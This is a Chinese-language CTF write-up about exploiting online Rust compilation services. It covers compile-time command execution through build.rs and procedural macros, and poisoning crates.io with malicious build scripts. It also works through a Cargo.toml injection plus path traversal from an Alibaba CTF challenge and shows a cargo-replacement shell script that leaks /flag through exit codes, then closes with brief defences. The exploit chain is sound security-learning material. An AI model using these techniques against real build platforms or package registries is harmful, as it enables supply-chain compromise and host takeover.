【个人探索】rust编译类漏洞
rust在线编译项目常见漏洞
近年来,随着 Rust 语言在高性能、内存安全等领域的优势被广泛认可,越来越多的开发者选择将其应用于后端开发,尤其在 WebAssembly、微服务和高并发场景中表现亮眼。
然而,Rust 生态的快速扩张也带来了新的安全挑战:尽管语言本身通过所有权机制规避了内存安全问题,但 Web 应用层的逻辑漏洞(如 SQL 注入、身份验证绕过)、第三方库的潜在缺陷(如未充分审计的 unsafe 代码滥用)以及对安全实践的过度自信(如忽略输入验证或错误配置 CORS 策略),正在导致 Rust 相关的 Web 安全问题逐渐浮出水面。
社区亟需在享受 Rust 底层安全红利的同时,建立更完善的安全开发规范,加强依赖库审计,并推动 Web 框架的漏洞响应机制,以应对日益复杂的安全威胁。而生活中在线编译的环境随处可见,非常容易成为被攻击的重点对象,而本次就是在阿里 CTF 中出现的一道 Rust 编译类题目,故总结了一套相关的相关知识。
相关rust项目结构知识
在 Rust 生态中,Cargo.toml 文件如同项目的中枢神经,扮演着至关重要的**清单(Manifest)**角色。其不仅是一份静态的配置文件,还是是开发者与 Rust 编译工具链(Cargo)之间的核心。通过 toml,开发者能够以声明式语法精确控制项目——从定义包元数据(如版本、作者、许可证)、声明依赖关系(通过本地路径、Git 仓库或官方注册表[crates.io]引入第三方 crate),到定制编译策略(如特性开关、优化级别、目标平台配置),甚至扩展自定义构建脚本。
实现跨项目引用的核心机制,则隐藏在 Cargo.toml 的特定字段中:
dependence引用
[dependencies]
项目名称 = {path = "本地路径"}
项目名称 = {git = "git项目地址"}
项目名称 = {version = "版本"}workspace
若你提到的是管理多个关联的包(多 crate 项目),Cargo 提供了 [workspace] 配置,允许在单一仓库中组织多个 crate,共享依赖和构建缓存。
[workspace]
members = [
"crate1", # 子 crate 的目录名
"crate2",
"examples/*", # 支持通配符
]
resolver = "2" # 可选:统一依赖解析器引用本地过程
Rust 的过程宏(Procedural Macros)是元编程(metaprogramming)的核心工具之一,允许开发者在编译时对代码进行动态生成和转换。与声明宏(Declarative Macros)不同,过程宏通过自定义代码逻辑直接操作抽象语法树(AST),实现更复杂的代码生成能力。以下是过程宏的深度解析,而我们也可以通过 Cargo.toml 对其进行引用。
那么如果现在存在一个文件夹拥有如下的 Rust 项目的文件夹。
├─testaaa
│ ├─.idea
│ ├─src
│ └─Cargo.toml
│
└─testbbb
├─.idea
├─src
└─Cargo.toml
那么此时可以通过在 testaaa 项目的 Cargo.toml 中使用以下配置来对其他的过程宏项目进行引用。
[lib]
proc-macro = ture
path = "../[项目名称]/xx.rs"利用test宏快速白盒审计
Rust 的 test 宏提供了便捷的测试的方式,提供简单的 test 宏即可对单个函数到多个项目的调试,可以在 main.rs 以外的 rs 文件下添加以下代码:
#[cfg(test)]
mod tests{
#[test]
fn test1(){
// 写入测试函数
}
#[test]
fn test2(){
// 写入测试函数
}
}
我们可以在其中写入我们想要审计的函数并赋予一定的逻辑和参数,然后执行 cargo test 即可完成快速的代码审计测试。
cargo中的特性利用
在有的编译平台中,代码并不会在平台进行执行,而是仅对文件编译后再提供下载,那么这种情况下我们需要利用一定的 cargo 特性,来对其进行利用(如编译期执行)。
编译执行
Rust 的编译存在以下三种执行:
- 过程宏编译执行
- build.rs 执行
- 编译时计算(不能利用)const fn
而其中 build 构建执行和过程宏编译时执行是常可以利用的项,它们可以实现编译时期无需运行来进行命令执行。
利用Cargo.toml实现main.rs自执行
很多时候我们无法自己创建 build.rs,但是可以利用 Cargo.toml 中的选项。
build = "路径"
我们可以将 build 的路径换成任何我们想要的 rs 文件(**包括 main.rs !**我们可以通过这点在很多有限制的地方进行执行)从而实现 build.rs 执行。
创建一个项目,在 Cargo.toml 中写入以下内容,让 main.rs 本身变为 build 脚本:
build = "main.rs"
然后在项目中写入以下内容,这里是在当前目录下创建如下测试文件:
fn main() {
fs::OpenOptions::new().append(true).create(true).open("./test.rs").unwrap();
}
然后使用 Cargo build 进行仅编译,但我们会发现,即使没有执行的情况下,还是生成了对应的文件。利用这个特性,我们可以将其中生成修改为任意危险操作,亦或是捕获编译机目录、编译时代码名称等等等等。但是要注意的一点是,如果之间进行反弹 shell 的情况下会导致编译异常而被强行中断。
crates.io投毒
不只是利用本地的 build 脚本,前面我们提到过 Rust 的依赖选项,Rust 通过从 crates.io 下载源码或读取本机的源码编译。由于 cargo 编译时会执行自身及其依赖的 build 脚本,这些 crates 中的 build.rs 文件也会进行运行。我们通过在上传的库中的 build.rs 放入相关危险代码,然后在上传编译平台的代码中引用,也能实现同样的功能。(现在 crates.io 上传的库可以进行删除,溯源的可能性大幅度降低)。
crates 上传教程发布到 crates.io - Rust语言圣经(Rust Course)
利用过程宏
前面提到过,在 Rust 的编译期中过程宏也会进行运行,但往往上传编译并不会给我们一个上传完整的项目的机会,而通过单文件在 Cargo.toml 中启用过程宏这个方法,这里巧妙的是,cargo 会直接对 path 的目标文件进行 rustc 编译,也就是说,即使目标文件的结构并不符合 Rust 项目的标准,只要 Rust 代码没有错误都可以将其作为过程宏生成。如此一来我们遍可以在项目 a 的 main.rs 里实现过程宏,虽然不能被正常编译,但是可以在项目 b 中引用,从而实现编译。
我们可以在过程宏中构建以下代码,来进行危险操作,然后以 main.rs 上传第一次代码,此时我们是不需要配置 toml 的,当然这个编译也是不被通过的。
use proc_macro::TokenStream;
use std::process::Command;
#[proc_macro]
pub fn some_macro(_item: TokenStream) -> TokenStream {
let output = Command::new("/bin/bash")
.args(&["—c", "*"]) //*中替换利用代码
.output()
.unwrap()
.stdout;
format!("fn some_function()\{}").parse().unwrap()?
}
之后我们只需要通过其他手段获得当前文件的名称与路径,再将路径放入第二个编译项目的 toml 中:
[lib]
proc-macro = ture
path = "*" //*替换为宏文件路径
此时编译第二个文件就将会执行第一次上传文件的代码了。过程宏编写指南
不稳定的特性
如果编译目标机器是属于 nightly 或可以对项目外的部分进行改写,那么就可以使用 cargo 的一些其他危险特性,如 metabuild 等等。
Cargo不稳定特性
平台环境判断
排除上文所说不执行的情况,平台提供执行功能的可能性还是要更高一些,一般来说这些编译平台都会再 docker 中运行,此时,我们需要去获取更多的信息,对当前的平台信息一些获取,才能更好的进一步利用。
判断系统和架构
std::env::consts::OS
//如果env被禁用可以使用宏来判断
fn target_os() {
#[cfg(target_os = "linux")]
println!("Linux");
#[cfg(target_os = "windows")]
println!("Windows");
}读取指定文件夹目录
可以提供读取目录来判断是否处于 docker 环境:
use std::{fs, io, path::Path};
// 仅读取当前目录
fn directories<P: AsRef<Path>>(path: P) -> io::Result<Vec<String>> {
let mut dirs = Vec::new();
for entry in fs::read_dir(path)? {
let entry = entry?;
let path = entry.path();
// 判断是否为目录(不跟随符号链接)
if entry.file_type()?.is_dir() {
dirs.push(path.display().to_string());
}
}
Ok(dirs)
}
// 读取目录以及子目录
fn directories<P: AsRef<Path>>(path: P) -> io::Result<Vec<String>> {
let mut dirs = Vec::new();
for entry in fs::read_dir(path)? {
let entry = entry?;
let path = entry.path();
// 判断是否为目录(不跟随符号链接)
if entry.file_type()?.is_dir() {
let dir_path = path.display().to_string();
dirs.push(dir_path.clone());
// 递归子目录
let sub_dirs = list_all_directories(&path)?;
dirs.extend(sub_dirs);
}
}
Ok(dirs)
}命令执行
通过执行命令来进行环境信息收集:
//一次性返回
fn com_run(){
let output = Command::new("echo")
.arg("dDostalker~")
.output() // 捕获输出(stdout/stderr)
.expect("Command failed");
println!("STDOUT: {}", String::from_utf8_lossy(&output.stdout));
println!("STDERR: {}", String::from_utf8_lossy(&output.stderr));
}
// 逐行处理
fn com_run(){
let mut child = Command::new("ping")
.arg("dDostalker.github.io")
.stdout(Stdio::piped()) // 重定向标准输出到管道
.spawn() // 启动子进程
.expect("Failed to start command");
let stdout = child.stdout.take().unwrap();
let reader = BufReader::new(stdout);
for line in reader.lines() {
println!("{}", line.unwrap());
}
let status = child.wait().expect("wait command error");
println!("exit error: {}", status);
}替换编译器
在很多情况我们并不能正常回显或是不能正常的触发一个程序,这种情况下我们改那么我们可以通过"挖空"程序本体,换入我们的代码,这样一来,程序就可以通过下一次调用的流程的来触发。
开始编译->Cargo->rustc
将cargo替换后
开始编译->Cargo(自设指令)
以下是 linux 中 rustc 和 cargo 的常见位置:
系统级
~/.cargo/bin/ # rustc, cargo, rustup 等可执行文件
~/.cargo/registry/ # 下载的依赖缓存
~/.cargo/config.toml # Cargo 配置文件用户级
~/.rustup/toolchains/ # 不同版本工具链
# 例如:
~/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/
~/.rustup/toolchains/nightly-x86_64-unknown-linux-gnu/
~/.cargo/bin/ # rustc, cargo, rustup 等可执行文件
~/.cargo/registry/ # 下载的依赖缓存
~/.cargo/config.toml # Cargo 配置文件
下面就是一个替换内容的例子,我们可以通过 cargo 特性利用内容中的方法,执行 Rust 代码将 cargo 替换为以下的脚本,这个脚本将会把 flag 作为错误状态码依次返回(运行一次返回一次),我们便可以通过不断运行编译流程,此时返回的错误码就为 flag 的 ascii 码。
#!/bin/sh
STATE="/tmp/state.txt"
if [ ! -f "$STATE" ]; then
echo 0 > "$STATE"
fi
FLAG=$(cat /flag)
IDX=$(cat "$STATE")
CHAR=$(echo "$FLAG" | cut -c$((IDX + 1)))
if [ -z "$CHAR" ]; then
exit 255
fi
ASCII=$(printf "%d" "'$CHAR")
NEXT_IDX=$((IDX + 1))
echo "$NEXT_IDX" > "$STATE"
exit $ASCII例题分析:Rust Action CTF题目
通过网盘分享的文件:rust.zip 链接: https://pan.baidu.com/s/1bXUNRbTmpInrttMsMve2wQ?pwd=ddos 提取码: ddos
题目背景
题目模拟了一个简化版的GitHub Action系统,主要功能包括:
/jobs/list: 列出所有Job/jobs/upload: 上传Job的zip压缩包/jobs/{id}/run: 运行指定Job/artifacts/list: 列出所有构建产物/artifacts/{id}: 下载指定构建产物
漏洞分析
系统配置文件(config.toml)存在以下关键配置:
[workflow.security]
files = ['main.rs'] # 仅允许操作main.rs文件
runs = ["cargo build", "cargo build --release"] # 允许执行的命令
主要漏洞点在于route::upload_job函数中不安全的Cargo.toml生成方式:
let cargo_toml = format!(
include_str!("../templates/Cargo.toml.tpl"),
name = job.config.name,
version = job.config.version,
edition = job.config.edition,
description = job.config.description // 存在注入漏洞
);漏洞利用步骤
-
发现注入点:
- Cargo.toml模板使用format!宏拼接,但未对description字段进行转义
- 可通过description字段注入任意Cargo.toml配置
-
绕过文件限制:
- 系统限制只能操作main.rs文件
- 但过程宏需要lib.rs和main.rs两个文件
- 解决方案:上传两个Job,利用路径穿越引用
-
具体利用过程:
Job A (定义过程宏):
job: name: macro-definer mode: release config: name: macro-definer version: "0.1.0" edition: "2021" description: "正常描述" files: - main.rs # 包含过程宏定义 run: cargo build --releaseuse proc_macro::TokenStream; use std::process::Command; #[proc_macro] pub fn execute_command(_item: TokenStream) -> TokenStream { let output = Command::new("/bin/bash") .args(&["-c", "/readflag"]) .output() .unwrap() .stdout; let s = String::from_utf8(output).unwrap(); format!("fn get_flag() -> String {{ \"{}\".to_string() }}", s) .parse() .unwrap() }Job B (触发过程宏):
job: name: macro-executor mode: release config: name: macro-executor version: "0.1.0" edition: "2021" description: |- [lib] proc-macro = true path = "../../../../../../app/jobs/<JobA_ID>/files/main.rs" files: - main.rs # 调用过程宏 run: cargo build --release由于Cargo存在777权限,通过在过程宏执行命令将替换Cargo文件为以下代码的sh文件
#!/bin/sh STATE="/tmp/state.txt" if [ ! -f "$STATE" ]; then echo 0 > "$STATE" fi FLAG=$(cat /flag) IDX=$(cat "$STATE") CHAR=$(echo "$FLAG" | cut -c$((IDX + 1))) if [ -z "$CHAR" ]; then exit 255 fi ASCII=$(printf "%d" "'$CHAR") NEXT_IDX=$((IDX + 1)) echo "$NEXT_IDX" > "$STATE" exit $ASCII替换后每次编译执行的错误代码即为flag
防御建议
- 对Cargo.toml模板中的用户输入进行严格过滤
- 限制path字段的路径访问范围
- 禁止proc-macro等危险特性
- 在沙箱环境中执行编译过程